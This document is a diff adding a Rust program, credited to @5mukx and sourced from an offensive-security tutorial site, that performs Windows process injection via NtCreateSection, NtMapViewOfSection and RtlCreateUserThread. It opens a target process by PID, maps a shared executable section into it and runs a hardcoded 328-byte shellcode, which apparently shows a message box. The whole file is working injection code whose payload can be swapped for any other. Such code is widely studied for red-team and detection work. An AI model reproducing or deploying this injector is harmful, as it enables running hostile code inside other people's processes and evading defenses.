|
| 1 | +/* |
| 2 | + Code Injection Using NtCreateSection + NtMapViewOfSection + RtlCreateUserThread. |
| 3 | + Source: |
| 4 | + https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection |
| 5 | + |
| 6 | + By @5mukx |
| 7 | + */ |
| 8 | +use std::ffi::c_void; |
| 9 | +use std::ptr::null_mut; |
| 10 | +use std::io::Error; |
| 11 | +use std::process::exit; |
| 12 | +use winapi::shared::basetsd::SIZE_T; |
| 13 | +use winapi::um::processthreadsapi::{OpenProcess, GetCurrentProcess}; |
| 14 | +use winapi::um::handleapi::CloseHandle; |
| 15 | +use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress}; |
| 16 | +use winapi::um::winnt::{HANDLE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PROCESS_ALL_ACCESS, SEC_COMMIT}; |
| 17 | +use winapi::shared::minwindef::{ULONG, DWORD}; |
| 18 | +use winapi::shared::ntdef::{LARGE_INTEGER, NTSTATUS}; |
| 19 | + |
| 20 | +#[repr(C)] |
| 21 | +#[allow(non_snake_case)] |
| 22 | +struct UNICODESTRING { |
| 23 | + Length: u16, |
| 24 | + MaximumLength: u16, |
| 25 | + Buffer: *mut u16, |
| 26 | +} |
| 27 | + |
| 28 | +#[repr(C)] |
| 29 | +#[allow(non_snake_case)] |
| 30 | +struct OBJECTATTRIBUTES { |
| 31 | + Length: ULONG, |
| 32 | + RootDirectory: HANDLE, |
| 33 | + ObjectName: *mut UNICODESTRING, |
| 34 | + Attributes: ULONG, |
| 35 | + SecurityDescriptor: *mut c_void, |
| 36 | + SecurityQualityOfService: *mut c_void, |
| 37 | +} |
| 38 | + |
| 39 | +type MyNtCreateSection = unsafe extern "system" fn( |
| 40 | + section_handle: *mut HANDLE, |
| 41 | + desired_access: ULONG, |
| 42 | + object_attributes: *mut OBJECTATTRIBUTES/*OBJECT_ATTRIBUTES*/, |
| 43 | + maximum_size: *mut LARGE_INTEGER, |
| 44 | + page_attributes: ULONG, |
| 45 | + section_attributes: ULONG, |
| 46 | + file_handle: HANDLE, |
| 47 | +) -> NTSTATUS; |
| 48 | + |
| 49 | +type MyNtMapViewOfSection = unsafe extern "system" fn( |
| 50 | + section_handle: HANDLE, |
| 51 | + process_handle: HANDLE, |
| 52 | + base_address: *mut *mut c_void, |
| 53 | + zero_bits: usize, |
| 54 | + commit_size: SIZE_T, |
| 55 | + section_offset: *mut LARGE_INTEGER, |
| 56 | + view_size: *mut SIZE_T, |
| 57 | + inherit_disposition: DWORD, |
| 58 | + allocation_type: ULONG, |
| 59 | + win32_protect: ULONG, |
| 60 | +) -> NTSTATUS; |
| 61 | + |
| 62 | +type MyRtlCreateUserThread = unsafe extern "system" fn( |
| 63 | + process_handle: HANDLE, |
| 64 | + security_descriptor: *mut c_void, |
| 65 | + create_suspended: bool, |
| 66 | + stack_zero_bits: ULONG, |
| 67 | + stack_reserved: *mut ULONG, |
| 68 | + stack_commit: *mut ULONG, |
| 69 | + start_address: *mut c_void, |
| 70 | + start_parameter: *mut c_void, |
| 71 | + thread_handle: *mut HANDLE, |
| 72 | + client_id: *mut CLIENTID, |
| 73 | +) -> NTSTATUS; |
| 74 | + |
| 75 | + |
| 76 | +#[repr(C)] |
| 77 | +#[allow(non_snake_case)] |
| 78 | +struct CLIENTID { |
| 79 | + UniqueProcess: *mut c_void, |
| 80 | + UniqueThread: *mut c_void, |
| 81 | +} |
| 82 | + |
| 83 | + |
| 84 | +fn main(){ |
| 85 | + let args: Vec<String> = std::env::args().collect(); |
| 86 | + |
| 87 | + if args.len() != 2{ |
| 88 | + println!("Usage: process.exe <PID>"); |
| 89 | + exit(1); |
| 90 | + } |
| 91 | + |
| 92 | + let target_pid = args[1].parse::<u32>().expect("Enter Valid PID"); |
| 93 | + |
| 94 | + let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, |
| 95 | + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, |
| 96 | + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, |
| 97 | + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, |
| 98 | + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, |
| 99 | + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, |
| 100 | + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, |
| 101 | + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, |
| 102 | + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, |
| 103 | + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, |
| 104 | + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, |
| 105 | + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, |
| 106 | + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, |
| 107 | + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, |
| 108 | + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, |
| 109 | + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, |
| 110 | + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, |
| 111 | + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, |
| 112 | + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, |
| 113 | + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, |
| 114 | + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, |
| 115 | + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, |
| 116 | + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, |
| 117 | + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, |
| 118 | + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, |
| 119 | + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, |
| 120 | + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, |
| 121 | + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 |
| 122 | + ]; |
| 123 | + |
| 124 | + |
| 125 | + |
| 126 | + unsafe{ |
| 127 | + let h_ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8); |
| 128 | + if h_ntdll.is_null() { |
| 129 | + eprintln!("Failed to load ntdll.dll: {:?}", Error::last_os_error()); |
| 130 | + exit(1); |
| 131 | + } |
| 132 | + |
| 133 | + let nt_create_section: MyNtCreateSection = std::mem::transmute(GetProcAddress(h_ntdll, b"NtCreateSection\0".as_ptr() as *const i8)); |
| 134 | + let nt_map_view_of_section: MyNtMapViewOfSection = std::mem::transmute(GetProcAddress(h_ntdll, b"NtMapViewOfSection\0".as_ptr() as *const i8)); |
| 135 | + let rtl_create_user_thread: MyRtlCreateUserThread = std::mem::transmute(GetProcAddress(h_ntdll, b"RtlCreateUserThread\0".as_ptr() as *const i8)); |
| 136 | + |
| 137 | + // section creation setup |
| 138 | + let mut section_handle: HANDLE = null_mut(); |
| 139 | + |
| 140 | + let mut section_size: LARGE_INTEGER = std::mem::zeroed(); |
| 141 | + *section_size.QuadPart_mut() = 4096 as i64; |
| 142 | + |
| 143 | + let desired_access = winapi::um::winnt::SECTION_MAP_READ | winapi::um::winnt::SECTION_MAP_WRITE | winapi::um::winnt::SECTION_MAP_EXECUTE; |
| 144 | + |
| 145 | + let status = nt_create_section( |
| 146 | + &mut section_handle, |
| 147 | + desired_access, |
| 148 | + null_mut(), |
| 149 | + §ion_size as *const _ as *mut LARGE_INTEGER, |
| 150 | + PAGE_EXECUTE_READWRITE, |
| 151 | + SEC_COMMIT, |
| 152 | + null_mut(), |
| 153 | + ); |
| 154 | + |
| 155 | + if status < 0{ |
| 156 | + eprintln!("[-] NtCreateSection failed with status: {:X}", status); |
| 157 | + exit(1); |
| 158 | + } |
| 159 | + |
| 160 | + let mut local_section_address: *mut c_void = null_mut(); |
| 161 | + let mut view_size = 4096; |
| 162 | + |
| 163 | + let status = nt_map_view_of_section( |
| 164 | + section_handle, |
| 165 | + GetCurrentProcess(), |
| 166 | + &mut local_section_address, |
| 167 | + 0, |
| 168 | + 0, |
| 169 | + null_mut(), |
| 170 | + &mut view_size, |
| 171 | + 2, |
| 172 | + 0, |
| 173 | + PAGE_READWRITE, |
| 174 | + ); |
| 175 | + |
| 176 | + if status < 0 { |
| 177 | + eprintln!("NtMapViewOfSection (local) failed with status: {:X}", status); |
| 178 | + exit(1); |
| 179 | + } |
| 180 | + |
| 181 | + // create a view of the section in the target process |
| 182 | + let target_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid); |
| 183 | + if target_handle.is_null() { |
| 184 | + eprintln!("OpenProcess failed: {:?}", Error::last_os_error()); |
| 185 | + exit(1); |
| 186 | + } |
| 187 | + |
| 188 | + let mut remote_section_address: *mut c_void = null_mut(); |
| 189 | + let status = nt_map_view_of_section( |
| 190 | + section_handle, |
| 191 | + target_handle, |
| 192 | + &mut remote_section_address, |
| 193 | + 0, |
| 194 | + 0, |
| 195 | + null_mut(), |
| 196 | + &mut view_size, |
| 197 | + 2, |
| 198 | + 0, |
| 199 | + PAGE_EXECUTE_READ, |
| 200 | + ); |
| 201 | + if status < 0 { |
| 202 | + eprintln!("NtMapViewOfSection (remote) failed with status: {:X}", status); |
| 203 | + CloseHandle(target_handle); |
| 204 | + exit(1); |
| 205 | + } |
| 206 | + |
| 207 | + std::ptr::copy_nonoverlapping(shellcode.as_ptr(), local_section_address as *mut u8, shellcode.len()); |
| 208 | + |
| 209 | + let mut target_thread_handle: HANDLE = null_mut(); |
| 210 | + let status = rtl_create_user_thread( |
| 211 | + target_handle, |
| 212 | + null_mut(), |
| 213 | + false, |
| 214 | + 0, |
| 215 | + null_mut(), |
| 216 | + null_mut(), |
| 217 | + remote_section_address, |
| 218 | + null_mut(), |
| 219 | + &mut target_thread_handle, |
| 220 | + null_mut(), |
| 221 | + ); |
| 222 | + if status < 0 { |
| 223 | + eprintln!("RtlCreateUserThread failed with status: {:X}", status); |
| 224 | + } |
| 225 | + |
| 226 | + CloseHandle(target_handle); |
| 227 | + if !target_thread_handle.is_null() { |
| 228 | + CloseHandle(target_thread_handle); |
| 229 | + } |
| 230 | + } |
| 231 | +} |
| 232 | + |
| 233 | + |
| 234 | + |
| 235 | + |
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